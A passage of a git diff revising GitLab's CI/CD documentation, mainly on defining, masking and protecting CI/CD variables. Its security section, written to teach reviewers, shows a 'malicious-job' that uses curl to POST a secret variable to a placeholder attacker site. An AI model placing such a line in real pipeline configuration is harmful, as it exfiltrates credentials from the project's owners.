to multiple reasons: - Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your merge request branch reports have nothing to compare to. In this situation you get an error stating `Base pipeline codequality artifact not found`. -- If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), - nothing is displayed. - The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD setting can cause the Code Quality artifacts to expire faster than desired. - The widgets use the pipeline of the latest commit to the target branch. If commits are made to the @@ -540,12 +537,6 @@ This can be due to multiple reasons: have no base report for comparison. - If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request. -- Large `gl-code-quality-report.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). - As a workaround, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) - that are [ignored by GitLab](#implement-a-custom-tool). You can: - - Configure the Code Quality tool to not output those types. - - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to edit the - `gl-code-quality-report.json` before the job completes. ### Only a single Code Quality report is displayed, but more are defined @@ -614,7 +605,7 @@ variables: ### Using Code Quality with Kubernetes CI executor -Code Quality requires a Docker in Docker setup to work. The Kubernetes executor already [has support for this](https://docs.gitlab.com/runner/executors/kubernetes.md#using-dockerdind). +Code Quality requires a Docker in Docker setup to work. The Kubernetes executor already [has support for this](https://docs.gitlab.com/runner/executors/kubernetes.html#using-dockerdind). To ensure Code Quality jobs can run on a Kubernetes executor: diff --git a/doc/ci/testing/fail_fast_testing.md b/doc/ci/testing/fail_fast_testing.md index b1bc44a0a37..4ad1656c8d6 100644 --- a/doc/ci/testing/fail_fast_testing.md +++ b/doc/ci/testing/fail_fast_testing.md @@ -27,7 +27,7 @@ Fail fast testing is useful when adding new functionality to a project and addin new automated tests. Your project could have hundreds of thousands of tests that take a long time to complete. -You may be confident that a new test will pass, but you have to wait for all the tests +You may expect a new test to pass, but you have to wait for all the tests to complete to verify it. This could take an hour or more, even when using parallelization. Fail fast testing gives you a faster feedback loop from the pipeline. It lets you diff --git a/doc/ci/testing/load_performance_testing.md b/doc/ci/testing/load_performance_testing.md index ba7bf14fb59..7e527fae562 100644 --- a/doc/ci/testing/load_performance_testing.md +++ b/doc/ci/testing/load_performance_testing.md @@ -60,7 +60,7 @@ Configuring your Load Performance Testing job can be broken down into several di ### Determine the test parameters The first thing you need to do is determine the [type of load test](https://k6.io/docs/test-types/introduction) -you want to run, and how it will run (for example, the number of users, throughput, and so on). +you want to run, and how you want it to run (for example, the number of users, throughput, and so on). Refer to the [k6 docs](https://k6.io/docs/), especially the [k6 testing guides](https://k6.io/docs/testing-guides), for guidance on the above and more. @@ -69,7 +69,7 @@ for guidance on the above and more. A large part of the effort around load performance testing is to prepare the target test environment for high loads. You should ensure it's able to handle the -[throughput](https://k6.io/blog/monthly-visits-concurrent-users) it will be tested with. +[throughput](https://k6.io/blog/monthly-visits-concurrent-users) it is tested with. It's also typically required to have representative test data in the target environment for the load performance test to use. @@ -121,7 +121,7 @@ the k6 test. NOTE: For Kubernetes setups a different template should be used: [`Jobs/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml). -k6 has [various options](https://k6.io/docs/using-k6/k6-options/reference/) to configure how it will run tests, such as what throughput (RPS) to run with, +k6 has [various options](https://k6.io/docs/using-k6/k6-options/reference/) to configure how it runs the tests, such as what throughput (RPS) to run with, how long the test should run, and so on. Almost all options can be configured in the test itself, but as you can also pass command line options via the `K6_OPTIONS` variable. diff --git a/doc/ci/testing/test_coverage_visualization.md b/doc/ci/testing/test_coverage_visualization.md index 9bff8dbf780..e2a1a4a2c5e 100644 --- a/doc/ci/testing/test_coverage_visualization.md +++ b/doc/ci/testing/test_coverage_visualization.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w With the help of [GitLab CI/CD](../index.md), you can collect the test coverage information of your favorite testing or coverage-analysis tool, and visualize -this information inside the file diff view of your merge requests (MRs). This will allow you +this information inside the file diff view of your merge requests (MRs). This allows you to see which lines are covered by tests, and which lines still require coverage, before the MR is merged. @@ -64,7 +64,7 @@ You must configure these separately. A limit of 100 `<source>` nodes for Cobertura format XML files applies. If your Cobertura report exceeds 100 nodes, there can be mismatches or no matches in the merge request diff view. -A single Cobertura XML file can be no more than 10MiB. For large projects, split the Cobertura XML into +A single Cobertura XML file can be no more than 10 MiB. For large projects, split the Cobertura XML into smaller files. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/328772) for more details. When submitting many files, it can take a few minutes for coverage to show on a merge request. diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 6783ab1bfed..17ce184ee28 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -324,6 +324,13 @@ On a self-managed instance, you can [increase the size limits](../administration A [loop of included configuration files](pipeline_editor/index.md#configuration-validation-currently-not-available-message) can cause a `500` error when editing the `.gitlab-ci.yml` file with the [web editor](../user/project/repository/web_editor.md). +### A CI/CD job does not use newer configuration when run again + +The configuration for a pipeline is only fetched when the pipeline is created. +When you rerun a job, uses the same configuration each time. If you update configuration files, +including separate files added with [`include`](yaml/index.md#include), you must +start a new pipeline to use the new configuration. + ## Pipeline warnings Pipeline configuration warnings are shown when you: diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md index 5a1426b1356..ec5c6c240a6 100644 --- a/doc/ci/variables/index.md +++ b/doc/ci/variables/index.md @@ -13,20 +13,12 @@ CI/CD variables are a type of environment variable. You can use them to: - Store values you want to re-use. - Avoid hard-coding values in your `.gitlab-ci.yml` file. -You can use: - -- [Predefined CI/CD variables](#predefined-cicd-variables). -- [Variables defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). -- [Variables defined in project, group, or instance settings](#define-a-cicd-variable-in-the-ui). - You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) to execute scripts. Each shell has its own set of reserved variable names. -Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). - > For more information about advanced use of GitLab CI/CD: > > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/) @@ -37,97 +29,114 @@ Make sure each variable is defined for the [scope you want to use it in](where_v ## Predefined CI/CD variables GitLab CI/CD makes a set of [predefined CI/CD variables](predefined_variables.md) -available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables -in your `.gitlab-ci.yml` without declaring them first. +available for use in pipeline configuration and job scripts. These variables contain +information about the job, pipeline, and other values you might need when the pipeline +is triggered or running. +You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. For example: ```yaml job1: stage: test script: - - echo "$CI_JOB_STAGE" + - echo "The job's stage is '$CI_JOB_STAGE'" ``` -The script in this example outputs the stage for the `job1` job, which is `test`. +The script in this example outputs `The job's stage is 'test'`. ## Define a CI/CD variable in the `.gitlab-ci.yml` file -To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file, -define the variable and value with `variables` keyword. +To create a CI/CD variable in the `.gitlab-ci.yml` file, define the variable and +value with the [`variables`](../yaml/index.md#variables) keyword. + +Variables saved in the `.gitlab-ci.yml` file are visible to all users with access to +the repository, and should store only non-sensitive project configuration. For example, +the URL of a database saved in a `DATABASE_URL` variable. Sensitive variables containing values +like secrets or keys should be [stored in project settings](#define-a-cicd-variable-in-the-ui). -You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file. -If the variable is at the top level, it's globally available and all jobs can use it. -If it's defined in a job, only that job can use it. +You can use `variables` in a job or at the top level of the `.gitlab-ci.yml` file. +If the variable is defined: + +- At the top level, it's globally available and all jobs can use it. +- In a job, only that job can use it. + +For example: ```yaml variables: - TEST_VAR: "All jobs can use this variable's value" + GLOBAL_VAR: "A global variable" job1: variables: - TEST_VAR_JOB: "Only job1 can use this variable's value" + JOB_VAR: "A job variable" script: - - echo "$TEST_VAR" and "$TEST_VAR_JOB" + - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'" + +job2: + script: + - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'" ``` -Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project -configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are -visible in the repository. Store sensitive variables containing values like secrets or keys -in project settings. +In this example: -Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md). +- `job1` outputs `Variables are 'A global variable' and 'A job variable'` +- `job2` outputs `Variables are 'A global variable' and ''` + +Use the [`value` and `description`](../yaml/index.md#variablesdescription) keywords +to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). + +### Skip global variables in a single job If you don't want globally defined variables to be available in a job, set `variables` to `{}`: ```yaml +variables: + GLOBAL_VAR: "A global variable" + job1: variables: {} script: - echo This job does not need any variables ``` -Use the [`value` and `description`](../yaml/index.md#variablesdescription) -keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). - ## Define a CI/CD variable in the UI -You can define CI/CD variables in the UI: +Sensitive variables like tokens or passwords should be stored in the settings in the UI, +not [in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). +Define CI/CD variables in the UI: -- For a project: - - [In the project's settings](#for-a-project). - - [With the API](../../api/project_level_variables.md). +- For a project [in the project's settings](#for-a-project). - For all projects in a group [in the group's setting](#for-a-group). - For all projects in a GitLab instance [in the instance's settings](#for-an-instance). -By default, pipelines from forked projects can't access CI/CD variables in the parent project. +Alternatively, these variables can be added by using the API: + +- [With the project-level variables API endpoint](../../api/project_level_variables.md). +- [With the group-level variables API endpoint](../../api/group_level_variables.md). +- [With the instance-level variables API endpoint](../../api/instance_level_ci_variables.md). + +By default, pipelines from forked projects can't access the CI/CD variables available to the parent project. If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), all variables become available to the pipeline. -Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). -To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: +### For a project -```yaml -variables: - SA_PASSWORD: $SA_PASSWORD -``` +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. +> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/373289) in GitLab 15.9, projects can define a maximum of 8000 CI/CD variables. -### For a project +You can add CI/CD variables to a project's settings. -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. +Prerequisite: -You can add CI/CD variables to a project's settings. Only project members with the -Maintainer role -can add or update project CI/CD variables. To keep a CI/CD variable secret, put it -in the project settings, not in the `.gitlab-ci.yml` file. +- You must be a project member with the Maintainer role. To add or update variables in the project settings: 1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). @@ -145,20 +154,18 @@ or in [job scripts](#use-cicd-variables-in-job-scripts). > - Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11 > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, groups can define a maximum of 200 CI/CD variables. +> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/373289) in GitLab 15.9, groups can define a maximum of 30000 CI/CD variables. -To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. -You must be a group owner. +You can make a CI/CD variable available to all projects in a group. -Use group variables to store secrets like passwords, SSH keys, and credentials, if you: +Prerequisite: -- Do not use an external key store. -- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). +- You must be a group member with the Owner role. To add a group variable: 1. In the group, go to **Settings > CI/CD**. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). @@ -178,17 +185,17 @@ are recursively inherited. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. -To make a CI/CD variable available to all projects and groups in a GitLab instance, -add an instance CI/CD variable. You must have administrator access. +You can make a CI/CD variable available to all projects and groups in a GitLab instance. -You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). +Prerequisite: + +- You must have administrator access. To add an instance variable: 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), the value is limited to 10,000 characters, but also bounded by any limits in the @@ -204,10 +211,8 @@ The instance variables that are available in a project are listed in the project ## CI/CD variable security -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables -and send them to a third party server regardless of the masked setting. If the pipeline -runs on a [protected branch](../../user/project/protected_branches.md) or -[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. +Code pushed to the `.gitlab-ci.yml` file could compromise your variables. Variables could +be accidentally exposed in a job log, or maliciously sent to a third party server. Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: @@ -219,11 +224,27 @@ Review the `.gitlab-ci.yml` file of imported projects before you add files or ru The following example shows malicious code in a `.gitlab-ci.yml` file: ```yaml -build: - script: +accidental-leak-job: + script: # Password exposed accidentally + - echo "This script logs into the DB with $USER $PASSWORD" + - db-login $USER $PASSWORD + +malicious-job: + script: # Secret exposed maliciously - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +To help reduce the risk of accidentally leaking secrets through scripts like in `accidental-leak-job`, +all variables containing sensitive information should be [masked in job logs](#mask-a-cicd-variable). +You can also [limit a variable to protected branches and tags only](#protect-a-cicd-variable). + +Alternatively, use the GitLab [integration with HashiCorp Vault](../secrets/index.md) +to store and retrieve secrets. + +Malicious scripts like in `malicious-job` must be caught during the review process. +Reviewers should never trigger a pipeline when they find code like this, because +malicious code can compromise both masked and protected variables. + Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database. This data can only be read and decrypted with a valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). @@ -232,9 +253,20 @@ valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is- > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330650) in GitLab 13.12, the `~` character can be used in masked variables. +WARNING: +Masking a CI/CD variable is not a guaranteed way to prevent malicious users from +accessing variable values. The masking feature is "best-effort" and there to +help when a variable is accidentally revealed. To make variables more secure, +consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) +to prevent commands such as `env`/`printenv` from printing secret variables. + You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs. +Prerequisite: + +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). + To mask a variable: 1. In the project, group, or Admin Area, go to **Settings > CI/CD**. @@ -252,21 +284,13 @@ The value of the variable must: - The `@`, `:`, `.`, or `~` characters. - Not match the name of an existing predefined or custom CI/CD variable. -WARNING: -Masking a CI/CD variable is not a guaranteed way to prevent malicious users from -accessing variable values. The masking feature is "best-effort" and there to -help when a variable is accidentally revealed. To make variables more secure, -consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) -to prevent commands such as `env`/`printenv` from printing secret variables. - -Runner versions implement masking in different ways, some with technical -limitations. Below is a table of such limitations. +Different versions of [GitLab Runner](../runners/index.md) have different masking limitations: -| Version from | Version to | Limitations | -| ------------ | ---------- | ------ | -| v11.9.0 | v14.1.0 | Masking of large secrets (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | -| v14.2.0 | v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | -| v15.7.0 | | Potential for secrets to be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | +| Version | Limitations | +| ------------------- | ----------- | +| v14.1.0 and earlier | Masking of large secrets (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | +| v14.2.0 to v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | +| v15.7.0 and later | Secrets could be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | ### Protect a CI/CD variable @@ -276,11 +300,14 @@ or [protected tags](../../user/project/protected_tags.md). [Merged results pipelines](../pipelines/merged_results_pipelines.md), which run on a temporary merge commit, not a branch or tag, do not have access to these variables. +[Merge request pipelines](../pipelines/merge_request_pipelines.md), which do not use +a temporary merge commit, can access these variables if the branch is a protected branch. + +Prerequisite: -Pipelines that run directly on the merge request's source branch, with no added merge commit, can access -these variables if the source branch is a protected branch. +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). -To mark a variable as protected: +To set a variable as protected: 1. Go to **Settings > CI/CD** in the project, group or instance Admin Area. 1. Expand the **Variables** section. @@ -293,36 +320,35 @@ The variable is available for all subsequent pipelines. ### Use file type CI/CD variables All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file -are `Variable` type. Project, group and instance CI/CD variables can be `Variable` -or `File` type. - -`Variable` type variables: +are "variable" type ([`variable_type` of `env_var` in the API](#define-a-cicd-variable-in-the-ui)). +Variable type variables: - Consist of a key and value pair. - Are made available in jobs as environment variables, with: - The CI/CD variable key as the environment variable name. - The CI/CD variable value as the environment variable value. -Use `File` type CI/CD variables for tools that need a file as input. - -`File` type variables: +Project, group, and instance CI/CD variables are "variable" type by default, but can +optionally be set as a "file" type ([`variable_type` of `file` in the API](#define-a-cicd-variable-in-the-ui)). +File type variables: -- Consist of a key, value and file. -- Are made available in jobs as environment variables, with +- Consist of a key, value, and file. +- Are made available in jobs as environment variables, with: - The CI/CD variable key as the environment variable name. - The CI/CD variable value saved to a temporary file. - The path to the temporary file as the environment variable value. -Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +Use file type CI/CD variables for tools that need a file as input. [The AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -use `File` type variables for configuration. +are both tools that use `File` type variables for configuration. -For example, if you have the following variables: +For example, if you are using `kubectl` with: -- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. -- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. +- A variable with a key of `KUBE_URL` and `https://example.com` as the value. +- A file type variable with a key of `KUBE_CA_PEM` and a certificate as the value. -Use the variables in a job script like this: +Pass `KUBE_URL` as a `--server` option, which accepts a variable, and pass `$KUBE_CA_PEM` +as a `--certificate-authority` option, which accepts a path to a file: ```shell kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" @@ -331,19 +357,27 @@ kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KU WARNING: Be careful when assigning the value of a file variable to another variable. The other variable takes the content of the file as its value, **not** the path to the file. -See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. +[Issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) proposes to change this behavior. -An alternative to `File` type variables is to: +#### Use a `.gitlab-ci.yml` variable as a file type variable -- Read the value of a CI/CD variable (`variable` type). -- Save the value in a file. -- Use that file in your script. +You cannot set a CI/CD variable [defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file) +as a file type variable. If you have a tool that requires a file path as an input, +but you want to use a variable defined in the `.gitlab-ci.yml`: -```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +- Run a command that saves the value of the variable in a file. +- Use that file with your tool. + +For example: + +```yaml +variables: + SITE_URL: "https://example.gitlab.com" + +job: + script: + - echo "$SITE_URL" > "site-url.txt" + - mytool --url-file="site-url.txt" ``` ## Use CI/CD variables in job scripts @@ -368,7 +402,7 @@ job_name: ### With PowerShell To access variables in a Windows PowerShell environment, including environment -variables set by the system, prefix the variable name with (`$env:`) or (`$`): +variables set by the system, prefix the variable name with `$env:` or `$`: ```yaml job_name: @@ -389,8 +423,7 @@ job_name: ### With Windows Batch -To access CI/CD variables in Windows Batch, surround the variable -with `%`: +To access CI/CD variables in Windows Batch, surround the variable with `%`: ```yaml job_name: @@ -399,7 +432,7 @@ job_name: ``` You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html). -Delayed expansion might be needed for variables that contain white spaces or newlines. +Delayed expansion might be needed for variables that contain white spaces or newlines: ```yaml job_name: @@ -407,29 +440,43 @@ job_name: - echo !ERROR_MESSAGE! ``` +### In service containers + +[Service containers](../docker/using_docker_images.md) can use CI/CD variables, but +by default can only access [variables saved in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). + +Variables [set in the GitLab UI](#define-a-cicd-variable-in-the-ui) by default are not available to +service containers. To make a UI-defined variable available in a service container, +re-assign it in your `.gitlab-ci.yml`: + +```yaml +variables: + SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI +``` + ### Pass an environment variable to another job > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. -You can pass environment variables from one job to another job in a later stage -through variable inheritance. -These variables cannot be used as CI/CD variables to configure a pipeline, but -they can be used in job scripts. +You can create a new environment variables in a job, and pass it to another job +in a later stage. These variables cannot be used as CI/CD variables to configure a pipeline, +but they can be used in job scripts. + +To pass a job-created environment variable to other jobs: 1. In the job script, save the variable as a `.env` file. - The format of the file must be one variable definition per line. - - Each defined line must be of the form `VARIABLE_NAME=ANY VALUE HERE`. + - Each line must be formatted as: `VARIABLE_NAME=ANY VALUE HERE`. - Values can be wrapped in quotes, but cannot contain newline characters. 1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv) artifact. 1. Jobs in later stages can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). -Inherited variables [take precedence](#cicd-variable-precedence) over -certain types of new variable definitions such as job defined variables. +For example: ```yaml -build: +build-job: stage: build script: - echo "BUILD_VARIABLE=value_from_build_job" >> build.env @@ -437,92 +484,95 @@ build: reports: dotenv: build.env -deploy: - stage: deploy - variables: - BUILD_VARIABLE: value_from_deploy_job +test-job: + stage: test script: - - echo "$BUILD_VARIABLE" # Output is: 'value_from_build_job' due to precedence - environment: production + - echo "$BUILD_VARIABLE" # Output is: 'value_from_build_job' ``` -The [`dependencies`](../yaml/index.md#dependencies) or -[`needs`](../yaml/index.md#needs) keywords can be used to control -which jobs receive inherited values. +Variables from `dotenv` reports [take precedence](#cicd-variable-precedence) over +certain types of new variable definitions such as job defined variables. + +You can also [pass `dotenv` variables to downstream pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) + +#### Control which jobs receive `dotenv` variables -To have no inherited dotenv environment variables, pass an empty `dependencies` or -`needs` list, or pass [`needs:artifacts`](../yaml/index.md#needsartifacts) as `false` +You can use the [`dependencies`](../yaml/index.md#dependencies) or [`needs`](../yaml/index.md#needs) +keywords to control which jobs receive the `dotenv` artifacts. + +To have no environment variables from a `dotenv` artifact: + +- Pass an empty `dependencies` or `needs` array. +- Pass [`needs:artifacts`](../yaml/index.md#needsartifacts) as `false`. +- Set `needs` to only list jobs that do not have a `dotenv` artifact. + +For example: ```yaml -build: +build-job1: stage: build script: - - echo "BUILD_VERSION=hello" >> build.env + - echo "BUILD_VERSION=v1.0.0" >> build.env artifacts: reports: dotenv: build.env -deploy_one: - stage: deploy +build-job2: + stage: build + needs: [] script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "This job has no dotenv artifacts" + +test-job1: + stage: test + script: + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' dependencies: - build - environment: - name: customer1 - deployment_tier: production -deploy_two: - stage: deploy +test-job2: + stage: test script: - - echo "$BUILD_VERSION" # Output is empty + - echo "$BUILD_VERSION" # Output is '' dependencies: [] - environment: - name: customer2 - deployment_tier: production -deploy_three: - stage: deploy +test-job3: + stage: test script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' needs: - - build - environment: - name: customer3 - deployment_tier: production + - build-job1 -deploy_four: - stage: deploy +test-job4: + stage: test script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' needs: - job: build + job: build-job1 artifacts: true - environment: - name: customer4 - deployment_tier: production -deploy_five: +test-job5: stage: deploy script: - - echo "$BUILD_VERSION" # Output is empty + - echo "$BUILD_VERSION" # Output is '' needs: - job: build + job: build-job1 artifacts: false - environment: - name: customer5 - deployment_tier: production -``` -[Multi-project pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) -can also inherit variables from their upstream pipelines. +test-job6: + stage: deploy + script: + - echo "$BUILD_VERSION" # Output is '' + needs: + - build-job2 +``` ### Store multiple values in one variable You cannot create a CI/CD variable that is an array of values, but you can use shell scripting techniques for similar behavior. -For example, you can store multiple variables separated by a space in a variable, +For example, you can store multiple values separated by a space in a variable, then loop through the values with a script: ```yaml @@ -552,7 +602,8 @@ job: ### Use the `$` character in CI/CD variables -If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: +If you do not want the `$` character interpreted as the start of another variable, +use `$$` instead: ```yaml job: @@ -568,9 +619,14 @@ job: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 15.7. Expanded variables treat values with the `$` character as a reference to another variable. -CI/CD variables are expanded by default. +CI/CD variables are expanded by default. To treat variables with a `$` character as raw strings, +disable variable expansion for the variable -To treat variables with a `$` character as raw strings, disable variable expansion for the variable: +Prerequisite: + +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). + +To disable variable expansion for the variable: 1. In the project or group, go to **Settings > CI/CD**. 1. Expand the **Variables** section. @@ -586,10 +642,10 @@ which variables take precedence. The order of precedence for variables is (from highest to lowest): -1. These all have the same (highest) precedence: +1. These variables all have the same (highest) precedence: - [Trigger variables](../triggers/index.md#pass-cicd-variables-in-the-api-call). - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). - - [Manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). + - [Manual pipeline run variables](../pipelines/index.md#run-a-pipeline-manually). - Variables added when [creating a pipeline with the API](../../api/pipelines.md#create-a-new-pipeline). 1. Project [variables](#for-a-project). 1. Group [variables](#for-a-group). If the same variable name exists in a @@ -597,14 +653,13 @@ The order of precedence for variables is (from highest to lowest): you have `Group > Subgroup 1 > Subgroup 2 > Project`, the variable defined in `Subgroup 2` takes precedence. 1. Instance [variables](#for-an-instance). -1. [Inherited variables](#pass-an-environment-variable-to-another-job). +1. [Variables from `dotenv` reports](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. 1. [Deployment variables](predefined_variables.md#deployment-variables). 1. [Predefined variables](predefined_variables.md). -In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. -Variables defined in jobs have a higher precedence than variables defined globally. +For example: ```yaml variables: @@ -614,50 +669,40 @@ job1: variables: API_TOKEN: "secure" script: - - echo "The variable value is $API_TOKEN" + - echo "The variable is '$API_TOKEN'" ``` +In this example, `job1` outputs `The variable is 'secure'` because variables defined in jobs +have higher precedence than variables defined globally. + ### Override a defined CI/CD variable You can override the value of a variable when you: -1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI. -1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline). -1. Run a job manually in the UI. -1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). -1. Trigger a pipeline by using [the API](../triggers/index.md#pass-cicd-variables-in-the-api-call). -1. Pass variables to a downstream pipeline [by using the `variable` 